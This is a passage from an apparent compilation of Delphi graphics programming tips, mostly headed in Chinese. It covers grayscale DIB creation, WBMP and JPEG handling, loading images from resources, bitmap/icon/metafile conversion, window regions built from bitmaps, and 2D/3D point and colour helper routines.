Application.ProcessMessages;
{If range checking is on -
turn it off for now}
{we will remember if range checking was on by
defining}
{a define called CKRANGE if range checking is on.}
{We do this
to access array members past the arrays}
{defined index range without causing
a range check}
{error at runtime. To satisfy the compiler, we must}
{also
access the indexes with a variable. ie: if we}
{have an array defined as a:
array[0..0] of byte,}
{and an integer i, we can now access a[3] by
setting}
{i := 3; and then accessing a[i] without error}
{$IFOPT
R+}
{$DEFINE CKRANGE}
{$R-}
{$ENDIF}

 {Lets check to see if this is a palette device - if so,
then}
{we must do palette handling for a successful
operation.}
{Get the screen's dc to use since memory dc's are not
reliable}
dc := GetDc(0);
IsPaletteDevice
:=
GetDeviceCaps(dc, RASTERCAPS) and RC_PALETTE =
RC_PALETTE;
{Give back the screen dc}
dc := ReleaseDc(0,
dc);

{The bitmap info size must be the size of the BitmapInfo}
{plus the size of the color table - one color table entry}
{is already defined in TBitmapInfo}
BitmapInfoSize := sizeof(TBitmapInfo) + (sizeof(TRGBQUAD) * 255);

 {The bitmap size must be the width of the bitmap rounded}
{up
to the nearest 32 bit boundary}
BitmapSize := (sizeof(byte) * 256) *
256;

{The size of the palette must be the size of a TLogPalette}
{plus the number of color palette entries - 1, since there}
{is already one palette entry defined in TLogPalette}
if IsPaletteDevice then
PaletteSize := sizeof(TLogPalette) + (sizeof(TPaletteEntry) * 255);

{Get the memory for the BitmapInfo, the PixelBuffer, and the Palette}
GetMem(lpBitmapInfo, BitmapInfoSize);
hPixelBuffer := GlobalAlloc(GHND, BitmapSize);
lpPixelBuffer := GlobalLock(hPixelBuffer);

if IsPaletteDevice then
GetMem(lpPalBuffer, PaletteSize);

{Zero out the BitmapInfo, the PixelBuffer, and the Palette}
FillChar(lpBitmapInfo^, BitmapInfoSize, #0);
FillChar(lpPixelBuffer^, BitmapSize, #0);
if IsPaletteDevice then
FillChar(lpPalBuffer^,PaletteSize, #0);

{Fill in the BitmapInfo structure}
lpBitmapInfo^.bmiHeader.biSize := sizeof(TBitmapInfoHeader);
lpBitmapInfo^.bmiHeader.biWidth := 256;
lpBitmapInfo^.bmiHeader.biHeight := 256;
lpBitmapInfo^.bmiHeader.biPlanes := 1;
lpBitmapInfo^.bmiHeader.biBitCount := 8;
lpBitmapInfo^.bmiHeader.biCompression := BI_RGB;
lpBitmapInfo^.bmiHeader.biSizeImage := BitmapSize;
lpBitmapInfo^.bmiHeader.biXPelsPerMeter := 0;
lpBitmapInfo^.bmiHeader.biYPelsPerMeter := 0;
lpBitmapInfo^.bmiHeader.biClrUsed := 256;
lpBitmapInfo^.bmiHeader.biClrImportant := 256;

 {Fill in the BitmapInfo color table with gray shades: black to
white}
for i := 0 to 255 do begin
lpBitmapInfo^.bmiColors[i].rgbRed := i;
lpBitmapInfo^.bmiColors[i].rgbGreen := i;
lpBitmapInfo^.bmiColors[i].rgbBlue := i;
end;

{Fill in the pixel buffer array with shades: black to white}
{In a 256 color bitmap the color is an index into the color table}
for i := 0 to 255 do
for j := 0 to 255 do
Byte(GetBigPointer(lpPixelBuffer, i + (j * 256))^) := j;

{Fill in the palette structure}
if IsPaletteDevice then begin
lpPalBuffer^.palVersion := $300;
lpPalBuffer^.palNumEntries := 256;
{Fill in the palette structure color table}
for i := 0 to 255 do begin
lpPalBuffer^.PalPalEntry[i].peRed := i;
lpPalBuffer^.PalPalEntry[i].peGreen := i;
lpPalBuffer^.PalPalEntry[i].peBlue := i;
end;

{Create a palette}
hPal := CreatePalette(lpPalBuffer^);
end;

{Get the screen's dc to use for the conversion since}
{memory dc's are not reliable to use for conversions}
dc := GetDc(0);

  if IsPaletteDevice then begin
{If we are using a
palette, it must be}
{selected into the dc during the
conversion}
OldPal := SelectPalette(dc, hPal,
TRUE);
{Realize the palette}
RealizePalette(dc);
end;

{Do the conversion}
hBm := CreateDiBitmap(dc,
lpBitmapInfo^.bmiHeader,
CBM_INIT,
pChar(lpPixelBuffer),
lpBitmapInfo^,
DIB_RGB_COLORS);

if IsPaletteDevice then begin
{Select the old
palette back in}
SelectPalette(dc, OldPal,
TRUE);
{Realize the old palette}
RealizePalette(dc);
end;

{Give back the screen dc}
dc := ReleaseDc(0, dc);

{Create a temporory TBitmap}
bm := TBitmap.Create;

 {Free up the memory we used}
if IsPaletteDevice
then
FreeMem(lpPalBuffer, PaletteSize);
GlobalUnlock(hPixelBuffer);
GlobalFree(hPixelBuffer);
FreeMem(lpBitmapInfo, BitmapInfoSize);

{Assign the palette}
if IsPaletteDevice then
bm.Palette := hPal;

{Assign the handle}
bm.Handle := hBm;

{Size Image1}
Image1.Width := 256;
Image1.Height := 256;

{Assign the bitmap}
Image1.Picture.Bitmap := bm;

SelectPalette(Image1.Picture.Bitmap.Canvas.Handle,
Image1.Picture.Bitmap.Palette,
false);

{Turn range checking back on if it was on when we started}
{$IFDEF
CKRANGE}
{$UNDEF CKRANGE}
{$R+}
{$ENDIF}
end;


保存WBMP文件用于WAP应用

注意：TBitmap中包含的位图必须是黑白的。

Function BitmapToWBMP( Bmp : TBitmap; Filename : String ) : Boolean;

Var

F : File;

Buf : Array[ 0..256 ] Of Byte;

BufLen : LongInt;

BPos : LongInt;

B : LongInt;

X : LongInt;

Y : LongInt;

Procedure Write_To_Header( L : LongInt );

Var

Extra : LongInt;

B : Byte;

Begin

Extra := 0;

While L >= 128 Do Begin

Inc( Extra );

Dec( l, 128 );

End;

If Extra > 0 Then Begin

B := 128 + Extra;

BlockWrite( F, B, 1 );

End;

B := l;

BlockWrite( F, B, 1 );

End;

Begin

Result := False;

If Bmp = NIL Then EXIT;

If Bmp.Empty Then EXIT;

If Bmp.Width = 0 Then EXIT;

If Bmp.Height = 0 Then EXIT;

AssignFile( F, FileName );

Rewrite( F, 1 );

If IOResult <> 0 Then EXIT;

BufLen := Bmp.Width Shr 3 + Byte( Bmp.Width And 7 > 0 );

Write_To_Header( 0 );

Write_To_Header( 0 );

Write_To_Header( Bmp.Width );

Write_To_Header( Bmp.Height );

For Y := 0 To Bmp.Height - 1 Do Begin

FillChar( Buf, SizeOf( Buf ), 0 );

BPos := 0;

B := 128;

For X := 0 To Bmp.Width - 1 Do Begin

If Bmp.Canvas.Pixels[ X, Y ] <> clBlack Then Inc( Buf[ BPos ], B );

If B > 1 Then

B := B Shr 1

Else Begin

B := 128;

Inc( BPos );

End;

End;

BlockWrite( F, Buf, BufLen );

End;

CloseFile( F );

Result := True;

End;


对非常大的图片操作

在加载图像前

MyBitmap.Pixelformat := pf24bit;

MyBitmap.ReleaseHandle;


显示JPEG图像文件

只要 uses中加入 JPEG就行
JPEG单元里是有一个TJPEGImage类,可定义一变量如Jpeg,用LoadFromFile调
入某个JPEG文件, 然后用Form的Canvas.Draw(x,y,Jpeg)即可显示.
Delphi中对Jpeg格式文件的处理...
(1).在 Uses 中加入 JPEG 单元;
(2).定义一个全程变量,例如 var AJPEG : TJPEGImage;
(3).在 Form 的 OnCreate 事件中加入 :

Canvas.Pen.Color:=clBlack;
Canvas.Pen.Style:=psSolid;
Canvas.Brush.color:=clBtnFace;
Canvas.Brush.Style:=bsSolid; //此上是设置 Canvas 的一些属性,便于以后

//Clear Form and Load a new JPEG file;
AJpeg:=TJpegImage.Create;//动态生成AJpeg;
AJpeg.LoadFromFile('D:\Temp.jpg')  //生成 AJpeg
后,调入 JPEG 文件 ;

(4).在 Form 的
OnPain 事件中加入

Canvas.Rectangle(2,2,560,430);
//画一个黑框的矩形将图片围住;
x:=10;  y:=10;
Form1.Canvas.Draw(x,y,AJpeg);
//以(x,y)为左上角输出 JPEG 文件;
//实际上其作用是当图形被破坏是使图形恢复;

(5).在'Load'或'Browse'按钮的 OnClick
事件中加入:
begin
if OpenPictureDialog1.Execute then
begin
AJpeg.Free;
//释放旧AJpeg;
AJpeg:=TJpegImage.Create;
//产生一个新的AJpeg;
AJpeg.LoadFromFile(OpenPictureDialog1.Filename);
//载入JPEG文件;
end;
Canvas.Rectangle(2,2,560,430);
//将Form Clear;
x:=10;
y:=10;
Form1.Canvas.Draw(x,y,AJpeg);
//显示新的AJpeg;
end;


在256色下显示真彩色图象

可以利用TJPEGIMAGE进行抖动
uses JPEG;

procedure TForm1.Button1Click(Sender: TObject);
var
JP :
TJPEGImage;
IM : TImage;
TempFileName :
string;
begin
{Pop up a Open Dialog}
OpenDialog1.Options
:= [ofNoChangeDir, ofFileMustExist];
OpenDialog1.Filter := 'Bitmap
Files (*.bmp)|*.bmp';
if OpenDialog1.Execute then
begin
{Create a temporary TImage}
IM :=
TImage.Create(nil);
{Load the bitmap file}
IM.Picture.LoadFromFile(OpenDialog1.FileName);
{Create a
temporary TJPEGImage}
JP :=
TJPEGImage.Create;
{Priorty on quality}
JP.Performance := jpBestQuality;
{Assign the bitmap to the
JPEG}
JP.Assign(IM.Picture.Graphic);
{Free
the temp image}
IM.Free;
{Make a temp file
name with the extension of .jpg}
TempFileName :=
'test.jpg';
{Save the JPEG to a temp file}
JP.SaveToFile(TempFileName);
{Free the
JPEG}
JP.Free;
{Load the temp file to an
image on the form}
Image1.Picture.LoadFromFile(TempFileName);
{Delete the temp
file}
DeleteFile(TempFileName);
end;
end;


从资源中载入JPEG图象

{$R FOO.RES}

uses Jpeg;

procedure LoadJPEGFromRes(TheJPEG :
string;
ThePicture : TPicture);
var
ResHandle : THandle;
MemHandle : THandle;
MemStream : TMemoryStream;
ResPtr    : PByte;
ResSize   :
Longint;
JPEGImage : TJPEGImage;
begin
ResHandle :=
FindResource(hInstance, PChar(TheJPEG), 'JPEG');
MemHandle :=
LoadResource(hInstance, ResHandle);
ResPtr    :=
LockResource(MemHandle);
MemStream := TMemoryStream.Create;
JPEGImage := TJPEGImage.Create;
ResSize := SizeOfResource(hInstance,
ResHandle);
MemStream.SetSize(ResSize);
MemStream.Write(ResPtr^, ResSize);
FreeResource(MemHandle);
MemStream.Seek(0, 0);
JPEGImage.LoadFromStream(MemStream);
ThePicture.Assign(JPEGImage);
JPEGImage.Free;
MemStream.Free;
end;
procedure TForm1.Button1Click(Sender:
TObject);
begin
LoadJPEGFromRes('MYJPEG',
Image1.Picture);
end;


从资源里载入图象而不丢失调色板

procedure loadgraphic(naam:string);
var
{ I've moved these in here, so they exist only during the lifetime of the
procedure. }
HResInfo: THandle;
BMF: TBitmapFileHeader;
MemHandle: THandle;
Stream: TMemoryStream;
ResPtr: PByte;
ResSize: Longint;
null:array [0..8] of char;

begin
{ In this first part, you are retrieving the bitmap from the resource.
The bitmap that you retrieve is almost, but not quite, the same as a
.BMP file (complete with palette information). }

  strpcopy (null, naam);
HResInfo := FindResource(HInstance,
null, RT_Bitmap);
ResSize := SizeofResource(HInstance,
HResInfo);
MemHandle := LoadResource(HInstance, HResInfo);
ResPtr := LockResource(MemHandle);

{ Think of a MemoryStream almost as a "File" that exists in memory.
With a Stream, you can treat either the same way! }

Stream := TMemoryStream.Create;

try
Stream.SetSize(ResSize + SizeOf(BMF));

{ Next, you effectively create a .BMP file in memory by first writing
the header (missing from the resource, so you add it)... }
BMF.bfType := $4D42;
Stream.Write(BMF, SizeOf(BMF));

{ Then the data from the resource. Now the stream contains a .BMP file }
Stream.Write(ResPtr^, ResSize);

{ So you point to the beginning of the stream... }
Stream.Seek(0, 0);

    { ...and let Delphi's TBitmap load it in
}
Bitmap:=tbitmap.create;
Bitmap.LoadFromStream(Stream);

    { At this point, you are done with the stream and the
resource. }
finally
Stream.Free;
end;
FreeResource(MemHandle);
end;


在MetaFile里放图片

procedure TForm1.Button1Click(Sender: TObject);
var
m : TmetaFile;
mc : TmetaFileCanvas;
b : tbitmap;
begin
m := TMetaFile.Create;
b := TBitmap.create;
b.LoadFromFile('C:\SomePath\SomeBitmap.BMP');
m.Height := b.Height;
m.Width := b.Width;
mc := TMetafileCanvas.Create(m, 0);
mc.Draw(0, 0, b);
mc.Free;
b.Free;
m.SaveToFile('C:\SomePath\Test.emf');
m.Free;
Image1.Picture.LoadFromFile('C:\SomePath\Test.emf');
end;

procedure TForm1.Button1Click(Sender: TObject);

var

m : TmetaFile;

mc : TmetaFileCanvas;

b : tbitmap;

begin

m := TMetaFile.Create;

b := TBitmap.create;

b.LoadFromFile('C:\SomePath\SomeBitmap.BMP');

m.Height := b.Height;

m.Width := b.Width;

mc := TMetafileCanvas.Create(m, 0);

mc.Draw(0, 0, b);

mc.Free;

b.Free;

m.SaveToFile('C:\SomePath\Test.emf');

m.Free;

Image1.Picture.LoadFromFile('C:\SomePath\Test.emf');

end;


把位图转化为图标

You must create two bitmaps, a mask bitmap (called the "AND"
bitmap) and a image bitmap (called the XOR bitmap). You can pass the
handles to the "AND" and "XOR" bitmaps to the Windows API function
CreateIconIndirect() and use the returned icon handle in your
application.

Example:

procedure TForm1.Button1Click(Sender: TObject);
var
IconSizeX :
integer;
IconSizeY : integer;
AndMask : TBitmap;
XOrMask : TBitmap;
IconInfo : TIconInfo;
Icon :
TIcon;
begin
{Get the icon size}
IconSizeX :=
GetSystemMetrics(SM_CXICON);
IconSizeY :=
GetSystemMetrics(SM_CYICON);

{Create the "And" mask}
AndMask := TBitmap.Create;
AndMask.Monochrome := true;
AndMask.Width := IconSizeX;
AndMask.Height := IconSizeY;

 {Draw on the "And" mask}
AndMask.Canvas.Brush.Color :=
clWhite;
AndMask.Canvas.FillRect(Rect(0, 0, IconSizeX,
IconSizeY));
AndMask.Canvas.Brush.Color := clBlack;
AndMask.Canvas.Ellipse(4, 4, IconSizeX - 4, IconSizeY - 4);

{Draw as a test}
Form1.Canvas.Draw(IconSizeX * 2, IconSizeY, AndMask);

{Create the "XOr" mask}
XOrMask := TBitmap.Create;
XOrMask.Width := IconSizeX;
XOrMask.Height := IconSizeY;

 {Draw on the "XOr" mask}
XOrMask.Canvas.Brush.Color :=
ClBlack;
XOrMask.Canvas.FillRect(Rect(0, 0, IconSizeX,
IconSizeY));
XOrMask.Canvas.Pen.Color := clRed;
XOrMask.Canvas.Brush.Color := clRed;
XOrMask.Canvas.Ellipse(4, 4,
IconSizeX - 4, IconSizeY - 4);

{Draw as a test}
Form1.Canvas.Draw(IconSizeX * 4, IconSizeY, XOrMask);

 {Create a icon}
Icon := TIcon.Create;
IconInfo.fIcon := true;
IconInfo.xHotspot := 0;
IconInfo.yHotspot := 0;
IconInfo.hbmMask := AndMask.Handle;
IconInfo.hbmColor := XOrMask.Handle;
Icon.Handle :=
CreateIconIndirect(IconInfo);

{Destroy the temporary bitmaps}
AndMask.Free;
XOrMask.Free;

{Draw as a test}
Form1.Canvas.Draw(IconSizeX * 6, IconSizeY, Icon);

{Assign the application icon}
Application.Icon := Icon;

{Force a repaint}
InvalidateRect(Application.Handle, nil, true);

{Free the icon}
Icon.Free;
end;


用API处理位图

procedure TForm1.Button1Click(Sender: TObject);
var
dc :
hdc;
MemDc : hdc;
MemBitmap : hBitmap;
OldMemBitmap : hBitmap;
begin

{Get the handle to the screen's dc}
dc := GetDc(0);

{Create and retrieve a handle to a memory dc based on the screen}
MemDc := CreateCompatibleDc(dc);

{Create a bitmap that is compatible with the display.}
{Note: if you pass
"MemDc" to CreateCompatibleBitmap()}
{instead of "dc", you will get a
monochrome bitmap!}
MemBitmap := CreateCompatibleBitmap(dc, 100,
100);

{Release the screen dc}
ReleaseDc(0, dc);

{Select the bitmap surface into the MemDc}
{remembering the default bitmap}
OldMemBitmap := SelectObject(MemDc, MemBitmap);

{Draw on the MemoryDc}
PatBlt(MemDc, 0, 0, 100, 100, WHITENESS);
Ellipse(MemDc, 0, 0, 100, 100);

{Copy the MemDc to the Form Canvas}
BitBlt(Form1.Canvas.Handle,
100, 100,
100, 100,
MemDc,
0, 0,
SRCCOPY);

{Select the default bitmap back into the memory dc}
SelectObject(MemDc, OldMemBitmap);

{Note: You can now use the memory bitmap handle with}
{functions such as GetDiBits()}

{Delete the Memory Bitmap}
DeleteObject(MemBitmap);

{Delete the MemoryDc}
DeleteDc(MemDc);

end;


把图标转化为位图

 procedure TForm1.Button1Click(Sender: TObject);
var
TheIcon : TIcon;
TheBitmap : TBitmap;
begin
TheIcon := TIcon.Create;
TheIcon.LoadFromFile('C:\Program Files\Borland\IcoCur32\EARTH.ICO');
TheBitmap := TBitmap.Create;
TheBitmap.Height := TheIcon.Height;
TheBitmap.Width := TheIcon.Width;
TheBitmap.Canvas.Draw(0, 0, TheIcon);
Form1.Canvas.Draw(10, 10, TheBitmap);
TheBitmap.Free;
TheIcon.Free;
end;


位图的透明

 在查看Delphi的Help时发现，设置TBitmap.Transparent为true，再适当设置
TBitmap.TransparentColor，可做出具有透明效果的Bitmap来。


将bmp文件转换为jpg文件

procedure TForm1.Button1Click(Sender: TObject);
(*压缩MBP为JPEG;但是没有提供压缩比可选项
凑合用吧，大概1/3 ^_^:
Note:必须加上JPEG到Uses单元
*)
var
MyJPEG : TJPEGImage;
MyBMP : TBitmap;
begin
MyBMP := TBitmap.Create;
with MyBMP do
try
LoadFromFile('e:\lm.BMP'); //你的图片位置
MyJPEG := TJPEGImage.Create;
with MyJPEG do begin
Assign(MyBMP);
CompressionQuality:=10; //压缩比例
Compress;
SaveToFile('e:\lm01.JPEG');//保存路径……
Free;
end;
finally
Free;
end;
end;

By Luiz Vaz - luiz.vaz@arinso.com.br

function Bmp2Jpg(Bmp: TBitmap; Quality: Integer = 100): TJpegImage;

begin

Result := nil;

if Assigned(Bmp)

then begin

Result := TJpegImage.Create;

Result.Assign(Bmp); {Its all folks...}

Result.CompressionQuality := Quality;

Result.JPEGNeeded; {Key method...}

Result.Compress;

end;

end;

function Jpg2Bmp(Jpg: TJpegImage): TBitmap;

begin

Result := nil;

if Assigned(Jpg)

then begin

Result := TBitmap.Create;

Jpg.DIBNeeded; {Key method...}

Result.Assign(Jpg); {Its all folks...}

end;

end;

注意：JPEGNeeded过程转换并存储图像数据到内部的JPEG数据。我们无法直接存取JPEG 内部数据，因为D5并没有提供jpeg.pas单元的源码。但是可以通过JPEGNeeded和DIBNeeded过程来操作它。


位图转化为WMF

procedure BmpToWmf (BmpFile,WmfFile:string);
var
MetaFile : TMetaFile;
MFCanvas : TMetaFileCanvas;
BMP : TBitmap;
begin
{Create temps}
MetaFile := TMetaFile.Create;
BMP := TBitmap.create;
BMP.LoadFromFile(BmpFile);
{Igualemos tama駉s}
{Equalizing sizes}
MetaFile.Height := BMP.Height;
MetaFile.Width := BMP.Width;
{Create a canvas for the Metafile}
MFCanvas:=TMetafileCanvas.Create(MetaFile, 0);
with MFCanvas do
begin
{Draw the BMP into canvas}
Draw(0, 0, BMP);
{Free the Canvas}
Free;
end;
{Free the BMP}
BMP.Free;
with MetaFile do
begin
{Save the Metafile}
SaveToFile(WmfFile);
{Free it...}
Free;
end;
end;

procedure WmfToBmp(FicheroWmf,FicheroBmp:string);
var
MetaFile:TMetafile;
Bmp:TBitmap;
begin
Metafile:=TMetaFile.create;
{Create a Temporal Bitmap}
Bmp:=TBitmap.create;
{Load the Metafile}
MetaFile.LoadFromFile(FicheroWmf);
{Draw the metafile in Bitmap's canvas}
with Bmp do
begin
Height:=Metafile.Height;
Width:=Metafile.Width;
Canvas.Draw(0,0,MetaFile);
{Save the BMP}
SaveToFile(FicheroBmp);
{Free BMP}
Free;
end;
{Free Metafile}
MetaFile.Free;
end;


由位图生成区域

思路:
扫描图象的scanline, 取不是背景色的连续坐标, 认为是一个height=1的rect,
用CreateRectRgn生成region, 再用CombineRgn(.....RGN_OR)与先前生成
的region合并生成新的region.
重复扫描完所有扫描线后就得到一个region了.

function CreateRgnFromBmp(ABmp: TBitmap; ARect: TRect; TransColor: TColor): HRGN;
var
b, e: Integer;
i, j: Integer;
p: PChar;
rg: HRGN;
rgbcolor: longint;
begin
result := 0;
if not assigned(ABmp) or ABmp.Empty then exit; // 返回空region
rgbcolor := ColorToRGB(transcolor);
rgbcolor := (
rgbcolor and $0000ff00
or (rgbcolor shr 16)
or (rgbcolor shl 16)
) and $00ffffff; // 交换RGB颜色值中的R与B, 使之与scanline中顺序相同
if IsRectEmpty(ARect) then
ARect := bounds(0, 0, abmp.width, abmp.height)
else
IntersectRect(arect, arect, bounds(0, 0, abmp.width, abmp.height));
if IsRectEmpty(arect) then exit;
ABmp.PixelFormat := pf24Bit; // 转换图象成24bit
for i := ARect.Top to ARect.Bottom - 1 do
begin
b := ARect.Left;
e := b - 1;
p := Pointer(Integer(ABmp.ScanLine[i]) + ARect.Left * 3); // scanline中起始位置
for j := ARect.Left to ARect.Right - 1 do
begin
if CompareMem(p, @rgbcolor, 3) then // 透明色
if b >= e then Inc(b)
else
begin
if result = 0 then
result := CreateRectRgn(b, i, e, i+1)
else begin
rg := CreateRectRgn(b, i, e, i+1);
CombineRgn(result, result, rg, RGN_OR);
DeleteObject(rg);
end;
b := e;
end
else if b >=e then e := b + 1
else Inc(e);
p := p + 3;
end;
if b < e then
if result = 0 then
result := CreateRectRgn(b, i, e, i+1)
else begin
rg := CreateRectRgn(b, i, e, i+1);
CombineRgn(result, result, rg, RGN_OR);
DeleteObject(rg);
end;
end;
if result <> 0 then // 将region定到(0,0)坐标
OffsetRgn(result, -arect.left, -arect.top);
end;
///////////////////////////////////////////////
const
BitMask: array[0..7] of byte = (128, 64, 32, 16, 8, 4, 2, 1);

function fcThisThat(const Clause: Boolean; TrueVal, FalseVal: Integer): Integer;
begin
if Clause then result := TrueVal else Result := FalseVal;
end;

function fcIsTrueColorBitmap(Bitmap: TBitmap): boolean;
begin
result:= Bitmap.PixelFormat = Graphics.pf24bit;
end;

function fcCreateRegionFromBitmap(ABitmap: TBitmap; TransColor: TColor):
HRgn;
var
TempBitmap: TBitmap;
Rgn1, Rgn2:
HRgn;
Col, StartCol, Row: integer;
Line: PByteArray;

function ColToColor(Col: integer): TColor;
begin
if fcIsTrueColorBitmap(TempBitmap) then
result:= Line[Col * 3] * 256 * 256 + Line[Col * 3 + 1] * 256 + Line[Col * 3 + 2]
else result := TColor(fcThisThat((Line[Col div 8] and BitMask[Col mod 8]) <> 0, clBlack, clWhite));
end;
begin
result := 0;
if (ABitmap <> nil) and (ABitmap.Width = 0) or (ABitmap.Height = 0) then Exit;
Rgn1 := 0;

TempBitmap := TBitmap.Create;

TempBitmap.Assign(ABitmap);
if not fcIsTrueColorBitmap(TempBitmap) then
begin
TempBitmap.Mask(TransColor);
TransColor := clBlack;
end;

with TempBitmap do
begin
for Row := 0 to TempBitmap.height-1 do
begin
Line:= scanLine[row];

Col := 0;
while Col < TempBitmap.Width do
begin
while (Col < TempBitmap.Width) and (ColToColor(Col) = TransColor) do inc(Col);
if Col >= TempBitmap.Width then Continue;

StartCol := Col;
while (Col < TempBitmap.Width) and (ColToColor(Col) <> TransColor) do inc(Col);
if Col >= TempBitmap.Width then Col := TempBitmap.Width;

        if Rgn1 = 0 then Rgn1 :=
CreateRectRgn(StartCol, Row, Col, Row +
1)
else
begin
Rgn2 :=
CreateRectRgn(StartCol, Row, Col, Row +
1);
if (Rgn2 <>
0) then
CombineRgn(Rgn1,Rgn1,Rgn2,RGN_OR);
Deleteobject(Rgn2);
end;
end;
end;
end;
result := Rgn1;
TempBitmap.Free;
end;


一些点运算函数

Several Points (2D and 3D) routines
From: "Verstraelen" <vsta@innet.be>
--------------------------------------------------------------------------------

unit Functs;

interface

uses
WinTypes, Classes, Graphics, SysUtils;

type
TPoint2D = record
X, Y: Real;
end;
TPoint3D = record
X, Y, Z: Real;
end;

function Point2D(X, Y: Real): TPoint2D;
function RoundPoint(P: TPoint2D):
TPoint;
function FloatPoint(P: TPoint): TPoint2D;
function Point3D(X, Y,
Z: Real): TPoint3D;
function Angle2D(P: TPoint2D): Real;
function
Dist2D(P: TPoint2D): Real;
function Dist3D(P: TPoint3D): Real;
function
RelAngle2D(PA, PB: TPoint2D): Real;
function RelDist2D(PA, PB: TPoint2D):
Real;
function RelDist3D(PA, PB: TPoint3D): Real;
procedure Rotate2D(var
P: TPoint2D; Angle2D: Real);
procedure RelRotate2D(var P: TPoint2D; PCentr:
TPoint2D; Angle2D: Real);
procedure Move2D(var P: TPoint2D; Angle2D,
Distance: Real);
function Between(PA, PB: TPoint2D; Preference: Real):
TPoint2D;
function DistLine(A, B, C: Real; P: TPoint2D): Real;
function
Dist2P(P, P1, P2: TPoint2D): Real;
function DistD1P(DX, DY: Real; P1, P:
TPoint2D): Real;
function NearLine2P(P, P1, P2: TPoint2D; D: Real):
Boolean;
function AddPoints(P1, P2: TPoint2D): TPoint2D;
function
SubPoints(P1, P2: TPoint2D): TPoint2D;

function Invert(Col: TColor): TColor;
function Dark(Col: TColor;
Percentage: Byte): TColor;
function Light(Col: TColor; Percentage: Byte):
TColor;
function Mix(Col1, Col2: TColor; Percentage: Byte):
TColor;
function MMix(Cols: array of TColor): TColor;
function Log(Base,
Value: Real): Real;
function Modulator(Val, Max: Real): Real;
function
M(I, J: Integer): Integer;
function Tan(Angle2D: Real): Real;
procedure
Limit(var Value: Integer; Min, Max: Integer);
function Exp2(Exponent: Byte):
Word;
function GetSysDir: String;
function GetWinDir: String;

implementation

function Point2D(X, Y: Real): TPoint2D;
begin
Point2D.X :=
X;
Point2D.Y := Y;
end;

function RoundPoint(P: TPoint2D): TPoint;
begin
RoundPoint.X :=
Round(P.X);
RoundPoint.Y := Round(P.Y);
end;

function FloatPoint(P: TPoint): TPoint2D;
begin
FloatPoint.X :=
P.X;
FloatPoint.Y := P.Y;
end;

function Point3D(X, Y, Z: Real): TPoint3D;
begin
Point3D.X :=
X;
Point3D.Y := Y;
Point3D.Z := Z;
end;

function Angle2D(P: TPoint2D): Real;
begin
if P.X = 0 then
begin
if P.Y > 0 then Result := Pi / 2;
if P.Y = 0 then Result := 0;
if P.Y < 0 then Result := Pi / -2;
end
else
Result := Arctan(P.Y / P.X);

if P.X < 0 then
begin
if P.Y < 0 then Result := Result + Pi;
if P.Y >= 0 then Result := Result - Pi;
end;

If Result < 0 then Result := Result + 2 * Pi;
end;

function Dist2D(P: TPoint2D): Real;
begin
Result := Sqrt(P.X *
P.X + P.Y * P.Y);
end;

function Dist3D(P: TPoint3D): Real;
begin
Dist3d := Sqrt(P.X *
P.X + P.Y * P.Y + P.Z * P.Z);
end;

function RelAngle2D(PA, PB: TPoint2D): Real;
begin
RelAngle2D := Angle2D(Point2D(PB.X - PA.X, PB.Y - PA.Y));
end;

function RelDist2D(PA, PB: TPoint2D): Real;
begin
Result := Dist2D(Point2D(PB.X - PA.X, PB.Y - PA.Y));
end;

function RelDist3D(PA, PB: TPoint3D): Real;
begin
RelDist3D := Dist3D(Point3D(PB.X - PA.X, PB.Y - PA.Y, PB.Z - PA.Z));
end;

procedure Rotate2D(var P: TPoint2D; Angle2D: Real);
var
Temp:
TPoint2D;
begin
Temp.X := P.X * Cos(Angle2D) - P.Y *
Sin(Angle2D);
Temp.Y := P.X * Sin(Angle2D) + P.Y *
Cos(Angle2D);
P := Temp;
end;

procedure RelRotate2D(var P: TPoint2D; PCentr: TPoint2D; Angle2D:
Real);
var
Temp: TPoint2D;
begin
Temp := SubPoints(P,
PCentr);
Rotate2D(Temp, Angle2D);
P := AddPoints(Temp,
PCentr);
end;

procedure Move2D(var P: TPoint2D; Angle2D, Distance: Real);
var
Temp: TPoint2D;
begin
Temp.X := P.X + (Cos(Angle2D) *
Distance);
Temp.Y := P.Y + (Sin(Angle2D) * Distance);
P :=
Temp;
end;

function Between(PA, PB: TPoint2D; Preference: Real):
TPoint2D;
begin
Between.X := PA.X * Preference + PB.X * (1 -
Preference);
Between.Y := PA.Y * Preference + PB.Y * (1 -
Preference);
end;

function DistLine(A, B, C: Real; P: TPoint2D): Real;
begin
Result := (A * P.X + B * P.Y + C) / Sqrt(Sqr(A) + Sqr(B));
end;

function Dist2P(P, P1, P2: TPoint2D): Real;
begin
Result := DistLine(P1.Y - P2.Y, P2.X - P1.X, -P1.Y * P2.X + P1.X * P2.Y, P);
end;

function DistD1P(DX, DY: Real; P1, P: TPoint2D): Real;
begin
Result := DistLine(DY, -DX, -DY * P1.X + DX * P1.Y, P);
end;

function NearLine2P(P, P1, P2: TPoint2D; D: Real): Boolean;
begin
Result := False;
if DistD1P(-(P2.Y - P1.Y), P2.X - P1.X, P1, P) * DistD1P(-(P2.Y - P1.Y), P2.X - P1.X, P2, P) <= 0 then
if Abs(Dist2P(P, P1, P2)) < D then Result := True;
end;

function AddPoints(P1, P2: TPoint2D): TPoint2D;
begin
AddPoints := Point2D(P1.X + P2.X, P1.Y + P2.Y);
end;

function SubPoints(P1, P2: TPoint2D): TPoint2D;
begin
SubPoints := Point2D(P1.X - P2.X, P1.Y - P2.Y);
end;

function Invert(Col: TColor): TColor;
begin
Invert := not
Col;
end;

function Dark(Col: TColor; Percentage: Byte): TColor;
var
R, G,
B: Byte;
begin
R := GetRValue(Col); G := GetGValue(Col); B :=
GetBValue(Col);
R := Round(R * Percentage / 100);
G :=
Round(G * Percentage / 100);
B := Round(B * Percentage /
100);
Dark := RGB(R, G, B);
end;

function Light(Col: TColor; Percentage: Byte): TColor;
var
R, G,
B: Byte;
begin
R := GetRValue(Col); G := GetGValue(Col); B :=
GetBValue(Col);
R := Round(R * Percentage / 100) + Round(255 -
Percentage / 100 * 255);
G := Round(G * Percentage / 100) + Round(255
- Percentage / 100 * 255);
B := Round(B * Percentage / 100) +
Round(255 - Percentage / 100 * 255);
Light := RGB(R, G,
B);
end;

function Mix(Col1, Col2: TColor; Percentage: Byte): TColor;
var
R, G, B: Byte;
begin
R := Round((GetRValue(Col1) * Percentage /
100) + (GetRValue(Col2) * (100 - Percentage) / 100));
G :=
Round((GetGValue(Col1) * Percentage / 100) + (GetGValue(Col2) * (100 -
Percentage) / 100));
B := Round((GetBValue(Col1) * Percentage / 100) +
(GetBValue(Col2) * (100 - Percentage) / 100));
Mix := RGB(R, G,
B);
end;

